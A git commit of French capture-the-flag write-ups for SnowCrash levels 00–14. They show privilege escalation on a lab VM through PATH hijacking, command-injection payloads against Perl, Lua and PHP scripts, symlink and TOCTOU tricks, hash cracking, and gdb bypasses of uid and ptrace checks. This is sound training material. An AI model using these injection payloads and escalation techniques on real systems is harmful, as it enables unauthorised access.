style: harmonize all french readme

This commit is contained in:
Raphael 2026-01-29 12:54:46 +01:00
parent 9e3d9cd2be
commit 08429782c7
No known key found for this signature in database
15 changed files with 878 additions and 0 deletions

View file

@ -0,0 +1,72 @@
Nous allons regarder les fichiers detenus par mon utilisateurs:
```bash
find / -user flag00 2> /dev/null
/usr/sbin/john
/rofs/usr/sbin/john
```
> John the Ripper est un outil de recuperation de mot de passe
```bash
ll /usr/sbin/john
----r--r-- 1 flag00 flag00 15 Mar 5 2016 /usr/sbin/john
ll /rofs/usr/sbin/john
----r--r-- 1 flag00 flag00 15 Mar 5 2016 /rofs/usr/sbin/john
```
Ces fichiers sont en ReadOnly et on une petite taille pour un executable je decide donc d'en afficher le contenu
```bash
cat /usr/sbin/john
cdiiddwpgswtgt
cat /rofs/usr/sbin/john
cdiiddwpgswtgt
```
A partir de maintenant nous avons la certitude que le contenu de ces flags sont les memes. Je tente de le mettre dans get flag mais il m'est indiquer que la reponse n'est pas celle la.
```bash
getflag cdiiddwpgswtgt
Check flag.Here is your token :
Nope there is no token here for you sorry. Try again :)
```
J'ai donc utiliser cet [outil en ligne](https://www.kodytools.com/rot-encoder-decoder) afin de trouver que ce que cache ce rot11
Mais le sujet indique qu'il est possible de rendre un script j'ai donc fait un program pour tester tout les rot (level00/ressources/rotX.c)
```txt
rot1: dejjeexqhtxuhu
rot2: efkkffyriuyviv
rot3: fgllggzsjvzwjw
rot4: ghmmhhatkwaxkx
rot5: hinniibulxbyly
rot6: ijoojjcvmyczmz
rot7: jkppkkdwnzdana
rot8: klqqllexoaebob
rot9: lmrrmmfypbfcpc
rot10: mnssnngzqcgdqd
rot11: nottoohardhere
rot12: opuuppibseifsf
rot13: pqvvqqjctfjgtg
rot14: qrwwrrkdugkhuh
rot15: rsxxsslevhlivi
rot16: styyttmfwimjwj
rot17: tuzzuungxjnkxk
rot18: uvaavvohykolyl
rot19: vwbbwwpizlpmzm
rot20: wxccxxqjamqnan
rot21: xyddyyrkbnrobo
rot22: yzeezzslcospcp
rot23: zaffaatmdptqdq
rot24: abggbbunequrer
```
Lors de la lecture `rot11: nottoohardhere` semble tres anglais et me semble le flag je decide donc de tester
Je tente de me connecter avec ce mot de passe a flag00 puis lance getflag
```bash
getflag
Check flag.Here is your token : x24ti5gi3x0ol2eh4esiuxias
```

View file

@ -0,0 +1,65 @@
Le mot de passe du compte `level01` n'est pas donne mais est bien exitstant
```bash
groups level01
level01 : level01 users
```
En cherchant la connection je regarde sur le fichier system `/etc/passwd`
###### Voici uniquement la partie interessante (avec la commande complete)
```bash
cat /etc/passwd | sed 's/:/ /g' | awk '{print $1, $2}' | grep '01'
level01 x
flag01 42hDRfypTqqnw
```
et tombe donc sur un hash de mot de passe dans le fichier /etc/passwd je decide donc le copier avec scp sur mon laptop
```bash
scp -P 4242 level00@localhost:/etc/passwd .
level00@localhost's password:
passwd 100% 2477 597.9KB/s 00:00
ll
Permissions Size User Date Modified Name
.rw-r--r--@ 2.5k raphael 26 Jan 15:57  passwd
```
John ne fonctionnant pas sur notre session a cause du flag00 alors nous allons faire utliser sur mon laptop
```bash
john ./passwd
Warning: detected hash type "descrypt", but the string is also recognized as "descrypt-opencl"
Use the "--format=descrypt-opencl" option to force loading these as that type instead
Using default input encoding: UTF-8
Loaded 1 password hash (descrypt, traditional crypt(3) [DES 128/128 ASIMD])
Proceeding with single, rules:Single
Press 'q' or Ctrl-C to abort, 'h' for help, almost any other key for status
Warning: Only 126 candidates buffered for the current salt, minimum 128 needed for performance.
Almost done: Processing the remaining buffered candidate passwords, if any.
0g 0:00:00:00 DONE 1/3 (2026-01-26 15:57) 0g/s 70200p/s 70200c/s 70200C/s Flag0168..Flag0159
Proceeding with wordlist:/nix/store/sjnlaf0f50sb5p9l93rvlqfhi7xzjpvm-john-rolling-2404/share/john/password.lst
Enabling duplicate candidate password suppressor
abcdefg (flag01)
1g 0:00:00:00 DONE 2/3 (2026-01-26 15:57) 33.33g/s 49000p/s 49000c/s 49000C/s raquel..bigman
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
john ./passwd --show
flag01:abcdefg:3001:3001::/home/flag/flag01:/bin/bash
1 password hash cracked, 0 left
```
Et la connection et maintenant possible et je peux lancer
```bash
su flag01
Password:
Don't forget to launch getflag !
getflag
Check flag.Here is your token : f2av5il02puano7naaf6adaaf
```

View file

@ -0,0 +1,99 @@
La connection au compte level02 se fait avec comme mot de passe le flag du niveau 01
Lors de la connection je vais dans le home de level02 et j'appercois un fichier:
```bash
ls -l
otal 12
----r--r-- 1 flag02 level02 8302 Aug 30 2015 level02.pcap
```
L'extension est PCAP (soit l'anagramme de Packet Capture Data)
Je decide donc de regarder avec wireshark ce qui se passe dans cette capture
###### Toutes mes recherches sont parametres ainsi (packet byte / String)
Je commence par rechercher flag mais aucun packet
Lorsque je recherches password la je trouve la trame 43:
Je decide donc de la suivre et tombre sur la trame suivant
```wireshark
..%
..%
..&..... ..#..'..$
..&..... ..#..'..$
.. .....#.....'.........
.. .38400,38400....#.SodaCan:0....'..DISPLAY.SodaCan:0......xterm..
........"........!
........"..".....b........b.... B.
..............................1.......!
.."....
.."....
..!..........."
........"
.."............. ..
.....................
Linux 2.6.38-8-generic-pae (::ffff:10.1.1.2) (pts/10)
..wwwbugs login:
l
.l
e
.e
v
.v
e
.e
l
.l
X
.X
..
Password:
ft_wandr...NDRel.L0L
.
..
Login incorrect
wwwbugs login:
```
Plus particulierement c'est la version avec le hexadecimal qui vas nous interesser:
```hex
000000D6 00 0d 0a 50 61 73 73 77 6f 72 64 3a 20 ...Passw ord:
000000B9 66 f
000000BA 74 t
000000BB 5f _
000000BC 77 w
000000BD 61 a
000000BE 6e n
000000BF 64 d
000000C0 72 r
000000C1 7f .
000000C2 7f .
000000C3 7f .
000000C4 4e N
000000C5 44 D
000000C6 52 R
000000C7 65 e
000000C8 6c l
000000C9 7f .
000000CA 4c L
000000CB 30 0
000000CC 4c L
000000CD 0d .
000000E3 00 0d 0a ...
000000E6 01 .
000000E7 00 0d 0a 4c 6f 67 69 6e 20 69 6e 63 6f 72 72 65 ...Login incorre
000000F7 63 74 0d 0a 77 77 77 62 75 67 73 20 6c 6f 67 69 ct..wwwb ugs logi
00000107 6e 3a 20 n:
```
Avec la table ascii nous pouvons voir que les points sont en hexa 7f soit 127 soit DEL (le reste des lettres corresponds)
Je tente donc de me connecter avec le mot de passe suivant: `ft_waNDReL0L`

View file

@ -0,0 +1,49 @@
Le flag 03 est enfin reelement de l'exploitation de binaire
Premiere chose que je lance un strings sur le binaire afin de voir si qui en ressort et vers ou chercher
```bash
/lib/ld-linux.so.2
KT{K
__gmon_start__
libc.so.6
_IO_stdin_used
setresgid
setresuid
system
getegid
geteuid
__libc_start_main
GLIBC_2.0
PTRh
UWVS
[^_]
/usr/bin/env echo Exploit me
...
```
Je vois que `/usr/bin/env echo` est appeler (env ce base sur le l'environnement de mon user actuel)
Je tente de faire un fichier dans mon home, mais ca ne met pas permis
Je tente donc dans le /tmp
ce qui fonctionne et decide donc d'ouvrir un shell
```bash
cat /tmp/echo
bash
export PATH="/tmp:$PATH"
chmod 777 /tmp/echo
./level03
```
Je me retrouve donc directement sur le shell de level03
```bash
flag03@SnowCrash:~$ getflag
Check flag.Here is your token : qi0maab88jeaj46qoumi7maus
```

View file

@ -0,0 +1,35 @@
Lors de l'arriver sur le level04 je remarque le fichier level04.pl
Ce script est en perl et se presente sous la forme
```perl
#!/usr/bin/perl
# localhost:4747
use CGI qw{param};
print "Content-type: text/html\n\n";
sub x {
$y = $_[0];
print `echo $y 2>&1`;
}
```
Nous pouvons donc voir que ce script recupere un argument (ici x), et affiche cet argumements
```bash
curl -d x="Common will just echo" http://127.0.0.1:4747
Common will just echo
```
Nous pouvons donc afficher ce que nous souhaitons en executant echo. Mais egallement un subshell
```bash
curl -d x="\$(ls -l)" http://127.0.0.1:4747
total 4 -r-xr-x---+ 1 flag04 level04 152 Jan 26 13:42 level04.pl
```
Nous pouvons donc executer les commandes donc testons avec getflag
```bash
curl -d x="\$(getflag)" http://127.0.0.1:4747
Check flag.Here is your token : ne2searoevaevoem4ov4ar8ap
```

View file

@ -0,0 +1,29 @@
Lors de l'arriver sur le level05 je remarque que le dossier home et vide je decide donc faire une petite recherche de quel fichier appartient au flag05
```bash
find / -user flag05 2> /dev/null
/usr/sbin/openarenaserver
/rofs/usr/sbin/openarenaserver
```
Nous n'avons pas les permissions d'executer ce fichier mais nous pouvons le lire:
```bash
cat /usr/sbin/openarenaserver
#!/bin/sh
for i in /opt/openarenaserver/* ; do
(ulimit -t 5; bash -x "$i")
rm -f "$i"
done
```
et je vais faire un petit fichier
```bash
echo 'getflag > /tmp/flag' > /opt/openarenaserver/notanexploit
```
```bash
cat /tmp/flag
Check flag.Here is your token : viuaaale9huek52boumoomioc
```

View file

@ -0,0 +1,34 @@
Lors de mon arriver sur le niveau 6 je remarque que j'ai 2 fichiers qui sont accessible
```bash
ls -l
total 12
-rwsr-x---+ 1 flag06 level06 7503 Aug 30 2015 level06
-rwxr-x--- 1 flag06 level06 356 Mar 5 2016 level06.php
```
Le fichier est disponibles dans ./ressources/level06.php (sinon c'etait en oneline moins lisible)
Une fois la lecture du script effectue nous pouvons en comprendre que ce program fait:
- Lis le fichier passer en arguements
- Il interprete des commandes comme des variables php
Ce qui fait que c'est assez interessant pour nous:
```bash
echo -e "[x \${\`echo coucou\`}]" > /tmp/test
./level06 /tmp/test hello
PHP Notice: Undefined variable: coucou
in /home/user/level06/level06.php(4) : regexp code on line 1
```
Nous pouvous voir que la resultat de la commande nous est afficher en temps qu'erreur en nous disant que elle n'est pas definis
Je peux donc je peux donc faire la meme chose mais avec getflag
```bash
echo -e "[x \${\`getflag\`}]" > /tmp/test
./level06 /tmp/test hello
PHP Notice: Undefined variable: Check flag.Here is your token : wiok45aaoguiboiki2tuin6ub
in /home/user/level06/level06.php(4) : regexp code on line 1
```

View file

@ -0,0 +1,46 @@
Lors de mon arriver sur le level07 je fait un petit check des fichiers
Je vois un level07 qui est un executable
Je commence par faire un petit ltrace (pour regarder les librairies appeler)
```c
ltrace ./level07
__libc_start_main(0x8048514, 1, 0xbffff7f4, 0x80485b0, 0x8048620 <unfinished ...>
getegid() = 2007
geteuid() = 2007
setresgid(2007, 2007, 2007, 0xb7e5ee55, 0xb7fed280) = 0
setresuid(2007, 2007, 2007, 0xb7e5ee55, 0xb7fed280) = 0
getenv("LOGNAME") = "level07"
asprintf(0xbffff744, 0x8048688, 0xbfffff4f, 0xb7e5ee55, 0xb7fed280) = 18
system("/bin/echo level07 "level07
<unfinished ...>
--- SIGCHLD (Child exited) ---
<... system resumed> ) = 0
+++ exited (status 0) +++
```
Et je remarque que getenv et appeler sur LOGNAME je tente donc une modification et:
```bash
export LOGNAME='hello'
./level07
hello
```
Mais il est donc egallement possible d'executer des commandes
```bash
export LOGNAME='$(echo hello)'
./level07
hello
```
Donc forcement il est possible de lancer getflag
```bash
export LOGNAME='$(getflag)'
./level07
Check flag.Here is your token : fiumuikeil55xe9cu4dood66h
```

View file

@ -0,0 +1,51 @@
Lors de mon arriver sur le level08 je remarque tout de suite que j'ai deux fichier sur mon home
```bash
ls -l
total 16
-rwsr-s---+ 1 flag08 level08 8617 Mar 5 2016 level08
-rw------- 1 flag08 flag08 26 Mar 5 2016 token
```
Un executable qui malgres mes tentative ne me donne rien de vraiement precis uniquement mais qui semble lire un fichier
```bash
./level08
./level08 [file to read]
```
Et je tente alors de lire token mais il me met un message d'erreur
```bash
./level08 token
You may not access 'token'
```
Mais la facon dont est fait le program protege uniquement un fichier qui contien token
```bash
ltrace ./level08 token
__libc_start_main(0x8048554, 2, 0xbffff7f4, 0x80486b0, 0x8048720 <unfinished ...>
strstr("token", "token") = "token"
printf("You may not access '%s'\n", "token"You may not access 'token'
) = 27
exit(1 <unfinished ...>
+++ exited (status 1) +++
```
Je decide donc de faire un lien symbolique sur le fichier de token ailleurs (la ou je peux ecrire)
```bash
ln -s /home/user/level08/token /tmp/test
```
Et j'obtiens quelque chose qui ressemble a un flag
```bash
./level08 /tmp/test
quif5eloekouj29ke0vouxean
```
qui n'est pas un flag mais le mot de passe pour flag08 auquel je me connect et fait la commande getflag
```bash
getflag
Check flag.Here is your token : 25749xKZ8L7DkSCwJkT9dyv6f
```

View file

@ -0,0 +1,43 @@
Lors de mon arriver sur le level09 je remarque un fichier level09
```bash
ls -l
total 12
-rwsr-sr-x 1 flag09 level09 7640 Mar 5 2016 level09
----r--r-- 1 flag09 level09 26 Mar 5 2016 token
```
Token a plein de character illisible
```bash
cat token
f4kmm6p|=<3D>p<EFBFBD>n<EFBFBD><6E>DB<44>Du{<7B><>
```
Afin de recuperer les characteres
```bash
cat token | hexdump -C
00000000 66 34 6b 6d 6d 36 70 7c 3d 82 7f 70 82 6e 83 82 |f4kmm6p|=..p.n..|
00000010 44 42 83 44 75 7b 7f 8c 89 0a |DB.Du{....|
0000001a
```
Je pense que le binaire est donc le programme qui permet "d'encrypter" le fichier si c'est correct alors l'algorithme suivi est donc str\[i] + i
```bash
./level09 aaa
abc
```
a + 0 = a
a + 1 = b
a + 2 = c
```bash
./a.out
f3iji1ju5yuevaus41q1afiuq
```
Je tente de me connect sur flag09 et ca marche et j'obtient donc le flag:
```bash
getflag
Check flag.Here is your token : s5cajpm8ev6xhw998prwg728z
```

View file

@ -0,0 +1,70 @@
Lors de mon arriver sur le level10 je remarque 2 fichier dans mon home
```bash
ls -l
total 16
-rwsr-sr-x+ 1 flag10 level10 10817 Mar 5 2016 level10
-rw------- 1 flag10 flag10 26 Mar 5 2016 token
```
level10 est un executable qui prends 2 arguments
```bash
./level10
./level10 file host
sends file to host if you have access to it
```
Bien sur token n'est pas lisible par le programme
```c
ltrace ./level10 ./token
__libc_start_main(0x80486d4, 2, 0xbffff7e4, 0x8048970, 0x80489e0 <unfinished ...>
printf("%s file host\n\tsends file to ho"..., "./level10"./level10 file host
sends file to host if you have access to it
) = 65
exit(1 <unfinished ...>
+++ exited (status 1) +++
```
Je tente de faire un autre fichier /tmp/test et de lancer le programme avec
```bash
echo 'test' > /tmp/test
level10@SnowCrash:~$ ltrace ./level10 /tmp/test 127.0.0.1
__libc_start_main(0x80486d4, 3, 0xbffff7d4, 0x8048970, 0x80489e0 <unfinished ...>
access("/tmp/test", 4) = 0
printf("Connecting to %s:6969 .. ", "127.0.0.1") = 32
fflush(0xb7fd1a20Connecting to 127.0.0.1:6969 .. ) = 0
socket(2, 1, 0) = 3
inet_addr("127.0.0.1") = 0x0100007f
htons(6969, 1, 0, 0, 0) = 14619
connect(3, 0xbffff71c, 16, 0, 0) = 0
write(3, ".*( )*.\n", 8) = 8
printf("Connected!\nSending file .. "Connected!
) = 27
fflush(0xb7fd1a20Sending file .. ) = 0
open("/tmp/test", 0, 010) = 4
read(4, "test\n", 4096) = 5
write(3, "test\n", 5) = 5
puts("wrote file!"wrote file!
) = 12
+++ exited (status 12) +++
```
Il essaye donc l'envoyer un fichier sur le 6969, effectivement lors de la l'ecoute du port avec netcat
```bash
nc -lv 6969
Connection from 127.0.0.1 port 6969 [tcp/*] accepted
.*( )*.
test
```
Le programme semble s'arreter a access lorsque il n'est pas possible de lire le fichier
Mais access est vulnerable a TOUCTOU (Time-Of-Check to Time-Of-Use)
Je vais donc faire un script en bash pour effectuer l'exploit
```bash
Connection from 127.0.0.1 port 6969 [tcp/*] accepted
.*( )*.
woupa2yuojeeaaed06riuj63c
```
au bout de 30s le flag tombe

View file

@ -0,0 +1,67 @@
Lors de mon arriver sur le level 11 je remarque un fichier lua lisble
```bash
ls -l
total 4
-rwsr-sr-x 1 flag11 level11 668 Mar 5 2016 level11.lua
```
Je l'ouvre pour regarder le contenue
```lua
#!/usr/bin/env lua
local socket = require("socket")
local server = assert(socket.bind("127.0.0.1", 5151))
function hash(pass)
prog = io.popen("echo "..pass.." | sha1sum", "r")
data = prog:read("*all")
prog:close()
data = string.sub(data, 1, 40)
return data
end
while 1 do
local client = server:accept()
client:send("Password: ")
client:settimeout(60)
local l, err = client:receive()
if not err then
print("trying " .. l)
local h = hash(l)
if h ~= "f05d1d066fb246efe0c6f7d095f909a7a0cf34a0" then
client:send("Erf nope..\n");
else
client:send("Gz you dumb*\n")
end
end
client:close()
end
```
Le hash a ete decode via [CrashStation](https://crackstation.net/) et donne en sha1 NotSoEasy
Ce n'est donc pas la reponse mais il fallait bien tenter
Lors de la lecture du script nous pouvons voir que le port 5151 est ouvert et donc nous pouvons essayer de le lancer avec un netcat en ecoute de ce dernier
Lorsqu'il est en ecoute il demande un password
```bash
nc localhost 5151
Password:
```
mais le hash est calculer en effectuant une commande `echo $args | sha1sum` (traduit en shell)
nous pouvons donc executer une commande sur cette derniere mais le resultat ne nous sera pas afficher car pas envoyer au client mais nous pouvons la lancer directement pour rediriger dans un fichier
```bash
nc localhost 5151
Password: $(getflag > /tmp/level11)
Erf nope...
cat /tmp/level11
Check flag.Here is your token : fa6v5ateaw21peobuub8ipe6s
```

View file

@ -0,0 +1,53 @@
Lors de mon arriver sur le level12 je remarque un fichier lisible avec un script perl
```bash
ls -l
total 4
-rwsr-sr-x+ 1 flag12 level12 464 Mar 5 2016 level12.pl
```
Ce sciprt prends 2 entree utilisateur (x, y) et transforme x a l'aide de la commande egrep
```perl
#!/usr/bin/env perl
# localhost:4646
use CGI qw{param};
print "Content-type: text/html\n\n";
sub t {
$nn = $_[1];
$xx = $_[0];
$xx =~ tr/a-z/A-Z/;
$xx =~ s/\s.*//;
@output = `egrep "^$xx" /tmp/xd 2>&1`;
foreach $line (@output) {
($f, $s) = split(/:/, $line);
if($s =~ $nn) {
return 1;
}
}
return 0;
}
sub n {
if($_[0] == 1) {
print("..");
} else {
print(".");
}
}
n(t(param("x"), param("y")));
```
L'exploit est donc assez simple il suffit de mettre la commande souhaiter dans un fichier avec un nom en majuscule (a cause du tr) et elle sera executer
```bash
echo "getflag > /tmp/pass" > /tmp/LEVEL
mv /tmp/level /tmp/LEVEL
curl 'localhost:4646?x=`/*/LEVEL`'
cat /tmp/pass
Check flag.Here is your token : g1qKMiRpXf53AWhDaU7FEkczr
```

View file

@ -0,0 +1,87 @@
Lors de l'arriver sur le level13 je remarque le fichier level13
```bash
ls -l level13
-rwsr-sr-x 1 flag13 level13 7303 Aug 30 2015 level13
```
Et je remarque egallement que c'est du C
```c
ltrace ./level13
__libc_start_main(0x804858c, 1, 0xbffff7f4, 0x80485f0, 0x8048660 <unfinished ...>
getuid() = 2013
getuid() = 2013
printf("UID %d started us but we we expe"..., 2013UID 2013 started us but we we expect 4242
) = 42
exit(1 <unfinished ...>
+++ exited (status 1) +++
```
en le lancant (plus proprement), il attente l'UID 4242
```bash
./level13
UID 2013 started us but we we expect 4242
```
Voici le code de la fonction main
```asm
0804858c <main>:
804858c: 55 push ebp
804858d: 89 e5 mov ebp,esp
804858f: 83 e4 f0 and esp,0xfffffff0
8048592: 83 ec 10 sub esp,0x10
8048595: e8 e6 fd ff ff call 8048380 <getuid@plt>
804859a: 3d 92 10 00 00 cmp eax,0x1092
804859f: 74 2a je 80485cb <main+0x3f>
80485a1: e8 da fd ff ff call 8048380 <getuid@plt>
80485a6: ba c8 86 04 08 mov edx,0x80486c8
80485ab: c7 44 24 08 92 10 00 mov DWORD PTR [esp+0x8],0x1092
80485b2: 00
80485b3: 89 44 24 04 mov DWORD PTR [esp+0x4],eax
80485b7: 89 14 24 mov DWORD PTR [esp],edx
80485ba: e8 a1 fd ff ff call 8048360 <printf@plt>
80485bf: c7 04 24 01 00 00 00 mov DWORD PTR [esp],0x1
80485c6: e8 d5 fd ff ff call 80483a0 <exit@plt>
80485cb: c7 04 24 ef 86 04 08 mov DWORD PTR [esp],0x80486ef
80485d2: e8 9d fe ff ff call 8048474 <ft_des>
80485d7: ba 09 87 04 08 mov edx,0x8048709
80485dc: 89 44 24 04 mov DWORD PTR [esp+0x4],eax
80485e0: 89 14 24 mov DWORD PTR [esp],edx
80485e3: e8 78 fd ff ff call 8048360 <printf@plt>
80485e8: c9 leave
80485e9: c3 ret
80485ea: 90 nop
80485eb: 90 nop
80485ec: 90 nop
80485ed: 90 nop
80485ee: 90 nop
80485ef: 90 nop
```
Notamment cette ligne (7) qui vas nous interesser
```asm
804859a: cmp eax,0x1092
```
0x1092 = 0d4242
il suffit de changer la valeur de notre uid lors de la comparaison (a l'aide de gdb)
```asm
(gdb) b main
Breakpoint 1 at 0x804858f
(gdb) b *0x804859a
Breakpoint 2 at 0x804859a
(gdb) r
Starting program: /home/user/level13/level13
Breakpoint 1, 0x0804858f in main ()
(gdb) s
Single stepping until exit from function main,
which has no line number information.
Breakpoint 2, 0x0804859a in main ()
(gdb) set $eax=0x1092
(gdb) c
Continuing.
your token is 2A31L79asukciNyi8uppkEuSx
[Inferior 1 (process 2288) exited with code 050]
```

View file

@ -0,0 +1,78 @@
Le repertoire de level14 est vide et aucun flag restant apparent... il ne reste plus qu'a regarder directement dans getflag :eyes:
(Pour etre honnete je souhaiter faire ca pour tous les flags mais j'ai ete spoiler que c'etait le dernier niveau)
En regardant le code ca ressemble a une foret de if else if
En passant par le main j'obtiens ce message
```asm
(gdb) b main
Breakpoint 1 at 0x804894a
(gdb) r
Starting program: /bin/getflag
Breakpoint 1, 0x0804894a in main ()
(gdb) c
Continuing.
You should not reverse this
[Inferior 1 (process 2506) exited with code 01]
```
c'est ptrace qui nous empeche de faire ce que nous souhaitons
```asm
8048989: e8 b2 fb ff ff call 8048540 <ptrace@plt>
804898e: 85 c0 test eax,eax
```
J'ai donc pu le bypass il suffit d'aller a ptrace puis de mettre eax a 0 (afin qu'il pense que c'est une execution classique)
```asm
gdb /bin/getflag
(gdb) b ptrace
Breakpoint 1 at 0x8048540
(gdb) r
Starting program: /bin/getflag
Breakpoint 1, 0xb7f146d0 in ptrace () from /lib/i386-linux-gnu/libc.so.6
(gdb) n
Single stepping until exit from function ptrace,
which has no line number information.
0x0804898e in main ()
(gdb) set $eax=0
(gdb) n
Single stepping until exit from function main,
which has no line number information.
Check flag.Here is your token :
Nope there is no token here for you sorry. Try again :)
```
Voici l'exploit complet avec le changement de la return value de getuid pour 3014 (soit d'apres /etc/passwd l'uid de flag14)
```asm
gdb /bin/getflag
(gdb) b ptrace
Breakpoint 1 at 0x8048540
(gdb) b getuid
Breakpoint 2 at 0x80484b0
(gdb) r
Starting program: /bin/getflag
Breakpoint 1, 0xb7f146d0 in ptrace () from /lib/i386-linux-gnu/libc.so.6
(gdb) n
Single stepping until exit from function ptrace,
which has no line number information.
0x0804898e in main ()
(gdb) set $eax=0
(gdb) n
Single stepping until exit from function main,
which has no line number information.
Breakpoint 2, 0xb7ee4cc0 in getuid () from /lib/i386-linux-gnu/libc.so.6
(gdb) n
Single stepping until exit from function getuid,
which has no line number information.
0x08048b02 in main ()
(gdb) set $eax=0xBC6
(gdb) n
Single stepping until exit from function main,
which has no line number information.
Check flag.Here is your token : 7QiHafiNa3HVozsaXkawuYrTstxbpABHD8CPnHJ
```